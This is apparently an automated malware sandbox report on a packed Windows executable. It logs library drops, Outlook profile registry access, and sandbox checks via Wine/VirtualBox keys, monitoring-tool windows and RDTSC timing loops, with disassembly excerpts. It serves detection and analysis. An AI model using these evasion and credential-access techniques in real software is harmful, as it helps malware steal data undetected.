Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=1120 --field-trial-handle=2028,i,5845511922812751212,18091894062939200481,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2130432 > 1048576

Source: file.exe

Static PE information: Raw size of uqyympsy is bigger than: 0x100000 < 0x19d200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2547186072.000000006CB01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2053623666.0000000004ECB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2547186072.000000006CB01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2053623666.0000000004ECB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2546916895.000000006C7DF000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.dd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uqyympsy:EW;tpxrolms:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uqyympsy:EW;tpxrolms:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x2158b2 should be: 0x2123a1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uqyympsy
Source: file.exe	Static PE information: section name: tpxrolms
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB536 push ecx; ret

0_2_6C5DB549

Source: file.exe

Static PE information: section name: uqyympsy entropy: 7.954376202452786

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6055F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237703 second address: 1237733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007F3174D23616h 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F3174D2360Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122678A second address: 12267B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jnc 00007F31753CFFC6h 0x00000018 popad 0x00000019 push ecx 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12366F8 second address: 123670A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Bh 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236843 second address: 1236854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007F31753CFFC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1236F36 second address: 1236F58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3174D2360Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3174D23610h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DB3 second address: 1239DCC instructions: 0x00000000 rdtsc 0x00000002 jns 00007F31753CFFCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DCC second address: 1239DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DD1 second address: 1239DDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F31753CFFCAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239DDF second address: 10BDC33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jc 00007F3174D23608h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jno 00007F3174D2360Ch 0x0000001b popad 0x0000001c pop eax 0x0000001d mov edi, 3458636Bh 0x00000022 push dword ptr [ebp+122D0D05h] 0x00000028 mov dword ptr [ebp+122D3992h], eax 0x0000002e call dword ptr [ebp+122D3A0Dh] 0x00000034 pushad 0x00000035 cmc 0x00000036 xor eax, eax 0x00000038 jmp 00007F3174D23614h 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 sub dword ptr [ebp+122D2409h], esi 0x00000047 sub dword ptr [ebp+122D3837h], eax 0x0000004d mov dword ptr [ebp+122D2E6Fh], eax 0x00000053 mov dword ptr [ebp+122D2409h], ecx 0x00000059 sub dword ptr [ebp+122D18CBh], ecx 0x0000005f mov esi, 0000003Ch 0x00000064 cmc 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 jp 00007F3174D23611h 0x0000006f lodsw 0x00000071 mov dword ptr [ebp+122D18CBh], ebx 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b sub dword ptr [ebp+122D18CBh], edx 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 add dword ptr [ebp+122D295Ch], edi 0x0000008b sub dword ptr [ebp+122D2409h], eax 0x00000091 push eax 0x00000092 pushad 0x00000093 pushad 0x00000094 jmp 00007F3174D2360Fh 0x00000099 push eax 0x0000009a push edx 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239E95 second address: 1239E9F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F31753CFFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239E9F second address: 1239EC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F3174D23606h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 push ecx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop ecx 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jnp 00007F3174D23606h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239EC7 second address: 1239ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239ECC second address: 1239ED1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239ED1 second address: 1239F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c push eax 0x0000000d jbe 00007F31753CFFC6h 0x00000013 pop eax 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push edi 0x0000001a jmp 00007F31753CFFCFh 0x0000001f pop edi 0x00000020 pop eax 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F31753CFFC8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b push 00000003h 0x0000003d movzx edx, si 0x00000040 push 00000000h 0x00000042 mov ecx, ebx 0x00000044 push 00000003h 0x00000046 ja 00007F31753CFFC7h 0x0000004c push E92E7C57h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239F3E second address: 1239F48 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3174D23606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A0DD second address: 123A104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov esi, 4C56FBA3h 0x00000010 push 00000000h 0x00000012 mov cl, dh 0x00000014 push 10677911h 0x00000019 js 00007F31753CFFD4h 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007F31753CFFC6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A104 second address: 123A17F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 10677991h 0x0000000d call 00007F3174D2360Ch 0x00000012 mov esi, eax 0x00000014 pop edi 0x00000015 push 00000003h 0x00000017 cld 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D2AF4h], edx 0x00000020 mov si, 35DEh 0x00000024 push 00000003h 0x00000026 call 00007F3174D23609h 0x0000002b jl 00007F3174D23612h 0x00000031 jg 00007F3174D2360Ch 0x00000037 push eax 0x00000038 push edi 0x00000039 jp 00007F3174D2360Ch 0x0000003f jns 00007F3174D23606h 0x00000045 pop edi 0x00000046 mov eax, dword ptr [esp+04h] 0x0000004a js 00007F3174D23626h 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F3174D23618h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A17F second address: 123A198 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jg 00007F31753CFFCCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A198 second address: 123A19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A19C second address: 123A1E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F31753CFFCFh 0x00000010 pop eax 0x00000011 pushad 0x00000012 mov ah, ch 0x00000014 pushad 0x00000015 sbb edx, 35B4F5AFh 0x0000001b push ecx 0x0000001c pop edi 0x0000001d popad 0x0000001e popad 0x0000001f lea ebx, dword ptr [ebp+1244FCAAh] 0x00000025 add ecx, dword ptr [ebp+122D2C73h] 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D2F8Bh], ebx 0x00000032 mov ecx, dword ptr [ebp+122D2C9Bh] 0x00000038 popad 0x00000039 push eax 0x0000003a pushad 0x0000003b pushad 0x0000003c push eax 0x0000003d pop eax 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12596FB second address: 1259711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3174D23610h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259711 second address: 1259715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125986F second address: 1259875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259875 second address: 1259884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jng 00007F31753CFFC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259884 second address: 125988A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259F7F second address: 1259F9B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F31753CFFCFh 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259F9B second address: 1259FAC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F3174D23606h 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A261 second address: 125A270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F31753CFFCAh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A270 second address: 125A27A instructions: 0x00000000 rdtsc 0x00000002 je 00007F3174D23612h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A27A second address: 125A280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A545 second address: 125A562 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23613h 0x00000007 jno 00007F3174D23606h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A562 second address: 125A574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F31753CFFCBh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A843 second address: 125A85B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23614h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A85B second address: 125A867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125A867 second address: 125A86B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
